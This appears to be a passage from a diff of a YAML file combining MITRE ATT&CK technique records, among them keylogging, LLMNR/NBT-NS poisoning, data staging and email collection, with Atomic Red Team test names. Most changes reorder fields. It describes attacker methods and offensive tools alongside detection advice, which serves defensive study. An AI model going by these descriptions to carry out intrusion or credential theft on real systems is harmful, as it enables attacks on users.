+        and ensuring no unauthorized drivers or kernel modules that could indicate
+        keylogging or API hooking are present.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056
+        external_id: T1056
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/569.html
+        external_id: CAPEC-569
+        source_name: capec
+      - source_name: Adventures of a Keystroke
+        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
+          look into keyloggers on Windows. Retrieved April 27, 2016.'
+        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
     atomic_tests: []
   T1056.001:
     technique:
-      created: '2020-02-11T18:58:11.791Z'
-      modified: '2020-10-21T01:30:56.227Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
       type: attack-pattern
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.001
-        url: https://attack.mitre.org/techniques/T1056/001
-      - external_id: CAPEC-568
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/568.html
-      - url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
-        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
-          look into keyloggers on Windows. Retrieved April 27, 2016.'
-        source_name: Adventures of a Keystroke
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2020-10-21T01:30:56.227Z'
       name: Keylogging
+      x_mitre_data_sources:
+      - 'Windows Registry: Windows Registry Key Modification'
+      - 'Driver: Driver Load'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      created: '2020-02-11T18:58:11.791Z'
+      x_mitre_permissions_required:
+      - Administrator
+      - root
+      - SYSTEM
+      - User
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      - Linux
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
       description: "Adversaries may log user keystrokes to intercept credentials as
         the user types them. Keylogging is likely to be used to acquire credentials
         for new access opportunities when [OS Credential Dumping](https://attack.mitre.org/techniques/T1003)
@@ -9214,16 +9485,13 @@ collection:
         may provide adversaries with hooks into the operating system of network devices
         to read raw keystrokes for login sessions.(Citation: Cisco Blog Legacy Device
         Attacks) "
-      id: attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4
-      x_mitre_data_sources:
-      - 'Windows Registry: Windows Registry Key Modification'
-      - 'Driver: Driver Load'
-      - 'Process: OS API Execution'
-      x_mitre_permissions_required:
-      - Administrator
-      - root
-      - SYSTEM
-      - User
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
       x_mitre_detection: 'Keyloggers may take many forms, possibly involving modification
         to the Registry and installation of a driver, setting a hook, or polling to
         intercept keystrokes. Commonly used API calls include `SetWindowsHook`, `GetKeyState`,
@@ -9232,13 +9500,22 @@ collection:
         keylogging API calls. API calls alone are not an indicator of keylogging,
         but may provide behavioral data that is useful when combined with other information
         such as new files written to disk and unusual processes.'
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/001
+        external_id: T1056.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/568.html
+        external_id: CAPEC-568
+        source_name: capec
+      - source_name: Adventures of a Keystroke
+        description: 'Tinaztepe,  E. (n.d.). The Adventures of a Keystroke:  An in-depth
+          look into keyloggers on Windows. Retrieved April 27, 2016.'
+        url: http://opensecuritytraining.info/Keylogging_files/The%20Adventures%20of%20a%20Keystroke.pdf
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
       identifier: T1056.001
     atomic_tests:
     - name: Input Capture
@@ -9442,49 +9719,29 @@ collection:
 '
   T1557.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557.001
-        url: https://attack.mitre.org/techniques/T1557/001
-      - url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
-        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
-          Retrieved November 17, 2017.
-        source_name: Wikipedia LLMNR
-      - url: https://technet.microsoft.com/library/cc958811.aspx
-        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
-          17, 2017.
-        source_name: TechNet NetBIOS
-      - source_name: byt3bl33d3r NTLM Relaying
-        url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
-        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
-          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
-          7, 2019.
-      - source_name: Secure Ideas SMB Relay
-        url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
-        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
-          Should Be On Your Mind. Retrieved February 7, 2019.
-      - url: https://github.com/nomex/nbnspoof
-        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
-        source_name: GitHub NBNSpoof
-      - url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
-        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
-        source_name: Rapid7 LLMNR Spoofer
-      - url: https://github.com/SpiderLabs/Responder
-        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
-          2017.
-        source_name: GitHub Responder
-      - url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
-        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
-          and NBT-NS Poisoning. Retrieved November 17, 2017.'
-        source_name: Sternsecurity LLMNR-NBTNS
-      - url: https://github.com/Kevin-Robertson/Conveigh
-        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
-          17, 2017.
-        source_name: GitHub Conveigh
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: LLMNR/NBT-NS Poisoning and SMB Relay
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Traffic Content'
+      - 'Network Traffic: Network Traffic Flow'
+      - 'Service: Service Creation'
+      - 'Windows Registry: Windows Registry Key Modification'
+      x_mitre_version: '1.2'
+      modified: '2021-09-28T13:09:50.809Z'
+      created: '2020-02-11T19:08:51.677Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: credential-access
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: "By responding to LLMNR/NBT-NS network traffic, adversaries may
         spoof an authoritative source for name resolution to force communication with
         an adversary controlled system. This activity may be used to collect or relay
@@ -9514,35 +9771,55 @@ collection:
         name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).
         (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub
         Responder)"
-      id: attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-03-31T13:54:08.239Z'
-      created: '2020-02-11T19:08:51.677Z'
       x_mitre_contributors:
       - Eric Kuehn, Secure Ideas
       - Matthew Demaske, Adaptforward
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Service: Service Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: |-
         Monitor <code>HKLM\Software\Policies\Microsoft\Windows NT\DNSClient</code> for changes to the "EnableMulticast" DWORD value. A value of “0” indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)
 
         Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.
 
         Deploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1557/001
+        external_id: T1557.001
+        source_name: mitre-attack
+      - source_name: Wikipedia LLMNR
+        description: Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution.
+          Retrieved November 17, 2017.
+        url: https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
+      - source_name: TechNet NetBIOS
+        description: Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November
+          17, 2017.
+        url: https://technet.microsoft.com/library/cc958811.aspx
+      - url: https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
+        description: Salvati, M. (2017, June 2). Practical guide to NTLM Relaying
+          in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February
+          7, 2019.
+        source_name: byt3bl33d3r NTLM Relaying
+      - url: https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
+        description: Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays
+          Should Be On Your Mind. Retrieved February 7, 2019.
+        source_name: Secure Ideas SMB Relay
+      - source_name: GitHub NBNSpoof
+        description: Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017.
+        url: https://github.com/nomex/nbnspoof
+      - source_name: Rapid7 LLMNR Spoofer
+        description: Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017.
+        url: https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
+      - source_name: GitHub Responder
+        description: Gaffie, L. (2016, August 25). Responder. Retrieved November 17,
+          2017.
+        url: https://github.com/SpiderLabs/Responder
+      - source_name: Sternsecurity LLMNR-NBTNS
+        description: 'Sternstein, J. (2013, November). Local Network Attacks: LLMNR
+          and NBT-NS Poisoning. Retrieved November 17, 2017.'
+        url: https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
+      - source_name: GitHub Conveigh
+        description: Robertson, K. (2016, August 28). Conveigh. Retrieved November
+          17, 2017.
+        url: https://github.com/Kevin-Robertson/Conveigh
       identifier: T1557.001
     atomic_tests:
     - name: LLMNR Poisoning with Inveigh (PowerShell)
@@ -9561,40 +9838,40 @@ collection:
         elevation_required: true
   T1074.001:
     technique:
-      created: '2020-03-13T21:13:10.467Z'
-      modified: '2020-05-26T19:23:54.854Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       type: attack-pattern
+      name: Local Data Staging
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-05-26T19:23:54.854Z'
+      created: '2020-03-13T21:13:10.467Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c
       description: Adversaries may stage collected data in a central location or directory
         on the local system prior to Exfiltration. Data may be kept in separate files
         or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560).
         Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106)
         and bash may be used to copy data into a staging location.
-      name: Local Data Staging
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1074.001
-        url: https://attack.mitre.org/techniques/T1074/001
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: |-
         Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
 
         Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1074/001
+        external_id: T1074.001
+        source_name: mitre-attack
       identifier: T1074.001
     atomic_tests:
     - name: Stage data from Discovery.bat
@@ -9665,38 +9942,29 @@ collection:
         name: powershell
   T1114.001:
     technique:
-      created: '2020-02-19T18:46:06.098Z'
-      modified: '2020-03-24T17:59:20.983Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
       type: attack-pattern
+      modified: '2020-03-24T17:59:20.983Z'
+      name: Local Email Collection
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      created: '2020-02-19T18:46:06.098Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004
       description: |-
         Adversaries may target user email on local systems to collect sensitive information. Files containing email data can be acquired from a user’s local system, such as Outlook storage or cache files.
 
         Outlook stores data locally in offline data files with an extension of .ost. Outlook 2010 and later supports .ost file sizes up to 50GB, while earlier versions of Outlook support up to 20GB.(Citation: Outlook File Sizes) IMAP accounts in Outlook 2013 (and earlier) and POP accounts use Outlook Data Files (.pst) as opposed to .ost, whereas IMAP accounts in Outlook 2016 (and later) use .ost files. Both types of Outlook data files are typically stored in `C:\Users\<username>\Documents\Outlook Files` or `C:\Users\<username>\AppData\Local\Microsoft\Outlook`.(Citation: Microsoft Outlook Files)
-      name: Local Email Collection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1114.001
-        url: https://attack.mitre.org/techniques/T1114/001
-      - source_name: Outlook File Sizes
-        url: https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
-        description: N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and
-          OST File Sizes. Retrieved February 19, 2020.
-      - source_name: Microsoft Outlook Files
-        url: https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790
-        description: Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and
-          .ost). Retrieved February 19, 2020.
-      x_mitre_platforms:
-      - Windows
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_detection: Monitor processes and command-line arguments for actions
         that could be taken to gather local email files. Monitor for unusual processes
         accessing local email files. Remote access tools with built-in features may
@@ -9704,10 +9972,19 @@ collection:
         may also be acquired through Windows system management tools such as [Windows
         Management Instrumentation](https://attack.mitre.org/techniques/T1047) and
         [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_permissions_required:
-      - User
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1114/001
+        external_id: T1114.001
+        source_name: mitre-attack
+      - url: https://practical365.com/clients/office-365-proplus/outlook-cached-mode-ost-file-sizes/
+        description: N. O'Bryan. (2018, May 30). Managing Outlook Cached Mode and
+          OST File Sizes. Retrieved February 19, 2020.
+        source_name: Outlook File Sizes
+      - url: https://support.office.com/en-us/article/introduction-to-outlook-data-files-pst-and-ost-222eaf92-a995-45d9-bde2-f331f60e2790
+        description: Microsoft. (n.d.). Introduction to Outlook Data Files (.pst and
+          .ost). Retrieved February 19, 2020.
+        source_name: Microsoft Outlook Files
       identifier: T1114.001
     atomic_tests:
     - name: Email Collection with PowerShell Get-Inbox
@@ -9750,135 +10027,24 @@ collection:
 
 '
         name: powershell
-  T1185:
-    technique:
-      created: '2018-01-16T16:13:52.465Z'
-      modified: '2021-02-09T15:34:09.429Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      type: attack-pattern
-      id: attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Man in the Browser
-      description: |-
-        Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)
-
-        A specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)
-
-        Browser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1185
-        external_id: T1185
-      - url: https://en.wikipedia.org/wiki/Man-in-the-browser
-        description: Wikipedia. (2017, October 28). Man-in-the-browser. Retrieved
-          January 10, 2018.
-        source_name: Wikipedia Man in the Browser
-      - url: https://www.cobaltstrike.com/help-browser-pivoting
-        description: Mudge, R. (n.d.). Browser Pivoting. Retrieved January 10, 2018.
-        source_name: Cobalt Strike Browser Pivot
-      - url: https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses
-        description: De Tore, M., Warner, J. (2018, January 15). MALICIOUS CHROME
-          EXTENSIONS ENABLE CRIMINALS TO IMPACT OVER HALF A MILLION USERS AND GLOBAL
-          BUSINESSES. Retrieved January 17, 2018.
-        source_name: ICEBRG Chrome Extensions
-      - url: https://cobaltstrike.com/downloads/csmanual38.pdf
-        description: Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual.
-          Retrieved May 24, 2017.
-        source_name: cobaltstrike manual
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      x_mitre_detection: This is a difficult technique to detect because adversary
-        traffic would be masked by normal user traffic. No new processes are created
-        and no additional software touches disk. Authentication logs can be used to
-        audit logins to specific web applications, but determining malicious logins
-        versus benign logins may be difficult if activity matches typical user behavior.
-        Monitor for process injection against browser applications.
-      x_mitre_data_sources:
-      - 'Process: Process Access'
-      - 'Logon Session: Logon Session Creation'
-      x_mitre_contributors:
-      - Justin Warner, ICEBRG
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-    atomic_tests: []
-  T1557:
-    technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1557
-        url: https://attack.mitre.org/techniques/T1557
-      - external_id: CAPEC-94
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/94.html
-      - source_name: Rapid7 MiTM Basics
-        url: https://www.rapid7.com/fundamentals/man-in-the-middle-attacks/
-        description: Rapid7. (n.d.). Man-in-the-Middle (MITM) Attacks. Retrieved March
-          2, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Man-in-the-Middle
-      description: |-
-        Adversaries may attempt to position themselves between two or more networked devices using a man-in-the-middle (MiTM) technique to support follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). By abusing features of common networking protocols that can determine the flow of network traffic (e.g. ARP, DNS, LLMNR, etc.), adversaries may force a device to communicate through an adversary controlled system so they can collect information or perform additional actions.(Citation: Rapid7 MiTM Basics)
-
-        Adversaries may leverage the MiTM position to attempt to modify traffic, such as in [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002). Adversaries can also stop traffic from flowing to the appropriate destination, causing denial of service.
-      id: attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: credential-access
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2020-10-16T15:19:48.733Z'
-      created: '2020-02-11T19:07:12.114Z'
-      x_mitre_contributors:
-      - Daniil Yugoslavskiy, @yugoslavskiy, Atomic Threat Coverage project
-      x_mitre_detection: Monitor network traffic for anomalies associated with known
-        MiTM behavior. Consider monitoring for modifications to system configuration
-        files involved in shaping network traffic flow.
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Network Traffic: Network Traffic Flow'
-      - 'Service: Service Creation'
-      - 'Windows Registry: Windows Registry Key Modification'
-      x_mitre_permissions_required:
-      - User
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      - Linux
-    atomic_tests: []
   T1602.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1602.002
-        url: https://attack.mitre.org/techniques/T1602/002
-      - source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
-        url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
-        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
-          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: US-CERT TA18-068A 2018
-        url: https://www.us-cert.gov/ncas/alerts/TA18-086A
-        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
-          by Cyber Actors. Retrieved October 2, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Network Device Configuration Dump
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T01:45:55.144Z'
+      created: '2020-10-20T00:08:21.745Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd
       description: "Adversaries may access network configuration files to collect
         sensitive data about the device and the network. The network configuration
         is a file containing parameters that determine the operation of the device.
@@ -9893,73 +10059,93 @@ collection:
         Cisco Blog Legacy Device Attacks) These tools may be used to query specific
         data from a configuration repository or configure the device to export the
         configuration for later analysis. "
-      id: attack-pattern--52759bf1-fe12-4052-ace6-c5b0cf7dd7fd
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-10-22T01:45:55.144Z'
-      created: '2020-10-20T00:08:21.745Z'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
         or networks. Configure signatures to identify strings that may be found in
         a network device configuration. (Citation: US-CERT TA18-068A 2018)'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1602/002
+        external_id: T1602.002
+        source_name: mitre-attack
+      - url: https://us-cert.cisa.gov/ncas/alerts/TA18-106A
+        description: US-CERT. (2018, April 20). Russian State-Sponsored Cyber Actors
+          Targeting Network Infrastructure Devices. Retrieved October 19, 2020.
+        source_name: US-CERT TA18-106A Network Infrastructure Devices 2018
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-086A
+        description: US-CERT. (2018, March 27). TA18-068A Brute Force Attacks Conducted
+          by Cyber Actors. Retrieved October 2, 2019.
+        source_name: US-CERT TA18-068A 2018
     atomic_tests: []
   T1074.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1074.002
-        url: https://attack.mitre.org/techniques/T1074/002
-      - source_name: Mandiant M-Trends 2020
-        url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
-        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
-          2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Remote Data Staging
+      x_mitre_data_sources:
+      - 'File: File Access'
+      - 'File: File Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-03-08T10:33:02.019Z'
+      created: '2020-03-13T21:14:58.206Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0
       description: |-
         Adversaries may stage data collected from multiple systems in a central location or directory on one system prior to Exfiltration. Data may be kept in separate files or combined into one file through techniques such as [Archive Collected Data](https://attack.mitre.org/techniques/T1560). Interactive command shells may be used, and common functionality within [cmd](https://attack.mitre.org/software/S0106) and bash may be used to copy data into a staging location.
 
         In cloud environments, adversaries may stage data within a particular instance or virtual machine before exfiltration. An adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002) and stage data in that instance.(Citation: Mandiant M-Trends 2020)
 
         By staging data on one system prior to Exfiltration, adversaries can minimize the number of connections made to their C2 server and better evade detection.
-      id: attack-pattern--359b00ad-9425-420b-bba5-6de8d600cbc0
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      modified: '2021-03-08T10:33:02.019Z'
-      created: '2020-03-13T21:14:58.206Z'
       x_mitre_contributors:
       - Praetorian
-      x_mitre_version: '1.1'
-      x_mitre_is_subtechnique: true
       x_mitre_detection: |-
         Processes that appear to be reading files from disparate locations and writing them to the same directory or file may be an indication of data being staged, especially if they are suspected of performing encryption or compression on the files, such as 7zip, RAR, ZIP, or zlib. Monitor publicly writeable directories, central locations, and commonly used staging directories (recycle bin, temp folders, etc.) to regularly check for compressed or encrypted data that may be indicative of staging.
 
         Monitor processes and command-line arguments for actions that could be taken to collect and combine files. Remote access tools with built-in features may interact directly with the Windows API to gather and copy to a location. Data may also be acquired and staged through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'File: File Access'
-      - 'File: File Creation'
-      - 'Command: Command Execution'
